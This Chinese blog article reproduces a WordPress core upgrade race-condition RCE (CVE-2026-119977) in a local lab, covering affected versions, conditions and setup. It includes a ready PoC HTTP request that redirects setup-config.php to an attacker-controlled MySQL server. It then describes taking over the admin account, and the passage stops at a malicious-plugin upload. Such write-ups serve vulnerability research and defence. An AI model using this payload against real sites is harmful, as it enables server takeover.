首页 时政热点 科技头条 智能AI 安全攻防 数码硬件 开发者生态 归档 标签 关于

WordPress核心竞争条件远程代码执行漏洞(CVE-2026-119977)

摘要

一、背景 最近笔者看到某测绘平台在2026年11月的检索数据,WordPress Core 竞争条件远程代码执行漏洞(CVE-2026-119977)关联的全球风险资产总数为1219476个,关联IP总数为379271个,国内风险资产总数为48714个,关联IP总数为14700个。涉及的资产还挺多,竞争条件导致的远程代码执行,刚好有时间,在这里搭环境研究下。 (以下所有环境均为笔者本地搭建环境复现...

WordPress php MySQL CVE 2026 119977 org Web class upgrader
2026-11-13 1 阅读 约10分钟阅读 先知社区
分享:
字号:
一、背景 最近笔者看到某测绘平台在2026年11月的检索数据,WordPress Core 竞争条件远程代码执行漏洞(CVE-2026-119977)关联的全球风险资产总数为1219476个,关联IP总数为379271个,国内风险资产总数为48714个,关联IP总数为14700个。涉及的资产还挺多,竞争条件导致的远程代码执行,刚好有时间,在这里搭环境研究下。 (以下所有环境均为笔者本地搭建环境复现,根据文章内容可复现) 二、漏洞详情 CVE官网介绍: https://www.cve.org/CVERecord?id=CVE-2026-119977 Score Severity Version Vector String 8.1 HIGH CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H WordPress 核心程序 4.7 至 7.1.3 版本存在远程代码执行(RCE)漏洞。漏洞成因:完整内核包升级过程中,会生成可被外网访问、路径可预测的临时过渡目录。未经身份验证的攻击者可在升级窗口期内,在服务器上执行恶意代码。 该漏洞源于完整包核心升级过程中,升级程序将更新包解压至 wp-content/upgrade/ 下基于包名生成的可预测、Web 可访问临时目录(相关代码位于 class-wp-upgrader.php、class-core-upgrader.php、update-core.php 等)。临时目录包含安装程序 setup-config.php,且在升级窗口期间可被外部 HTTP 请求直接执行。攻击者可利用该漏洞,在升级窗口内通过竞争条件注入恶意配置,最终实现任意代码执行,导致服务器完全沦陷。 三、受影响版本 4.7.0 <= WordPress <= 4.7.38 4.8.0 <= WordPress <= 4.8.33 4.9.0 <= WordPress <= 4.9.34 5.0.0 <= WordPress <= 5.0.30 5.1.0 <= WordPress <= 5.1.27 5.2.0 <= WordPress <= 5.2.29 5.3.0 <= WordPress <= 5.3.26 5.4.0 <= WordPress <= 5.4.24 5.5.0 <= WordPress <= 5.5.23 5.6.0 <= WordPress <= 5.6.22 5.7.0 <= WordPress <= 5.7.20 5.8.0 <= WordPress <= 5.8.18 5.9.0 <= WordPress <= 5.9.19 6.0.0 <= WordPress <= 6.0.17 6.1.0 <= WordPress <= 6.1.15 6.2.0 <= WordPress <= 6.2.14 6.3.0 <= WordPress <= 6.3.13 6.4.0 <= WordPress <= 6.4.13 6.5.0 <= WordPress <= 6.5.13 6.6.0 <= WordPress <= 6.6.10 6.7.0 <= WordPress <= 6.7.10 6.8.0 <= WordPress <= 6.8.11 6.9.0 <= WordPress <= 6.9.10 7.0.0 <= WordPress <= 7.0.7 7.1.0 <= WordPress <= 7.1.3 四、影响组件 WordPress 是全球最广泛使用的开源内容管理系统(CMS),基于 PHP 和 MySQL/MariaDB 构建,提供文章发布、页面管理、媒体库、插件扩展与主题换肤等完整建站能力。它既可通过 WordPress.org 官方托管服务使用,也可免费下载自建于各类 Web 服务器环境,凭借丰富的生态和易用性成为个人博客、企业官网、新闻媒体及电商平台的主流选择,目前为全球约 43% 的网站提供底层支撑。 五、利用条件 1、正在执行完整包核心升级更新。 2、暂存目录可公开访问。 3、暂存路径可预测。 六、环境搭建 1、受害者端 Apache v2.4.39 MySQL v8.0.12(地址:127.0.0.1,端口:3306) Wordpress v7.1.2 (测试将v7.1.2版本升级到v7.1.3) 2、攻击者端 因为笔者是在同一天机器上做测试,攻击侧数据库的端口为3307,真实攻击里,3307 对应的就是攻击者自己 VPS 上的 MySQL。 MySQL v8.0.12(地址:127.0.0.1,端口:3307),库名evil712,其中包含三张表,这里笔者测试最少需要三张,保持替换后可登录后台并上传恶意插件执行系统命令。 (具体的建表sql可以参考附录) 使用该数据库替换掉受害者的数据库。 七、漏洞复现 (1)准备poc,先不运行(poc脚本见附录) POST /wp-content/upgrade/wordpress-7.1.3/wordpress/wp-admin/setup-config.php?step=2&noapi=1 HTTP/1.1 Host: wp712.com User-Agent: python-requests/2.32.5 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 91 dbname=evil712&uname=evil&pwd=evilpass&dbhost=127.0.0.1%3A3307&prefix=wp_&noapi=1&language= (2)受害者登录后台、点击更新 用户名/密码: siteadmin / SiteAdmin#2026 (内部测试环境,后面会替换掉该用户登录) 当前版本7.1.2,点击“Update to version 7.1.3”,接着快速运行poc (3)攻击成功 替换数据库,新增用户attacker/Attacker#2026 (4)接管后台 版本已经升级到7.1.3 (5)上传插件 插件使用压缩包的形式上传,内容如下:
这篇文章对您有帮助吗?

订阅66必读

每日精选科技资讯,直达你的邮箱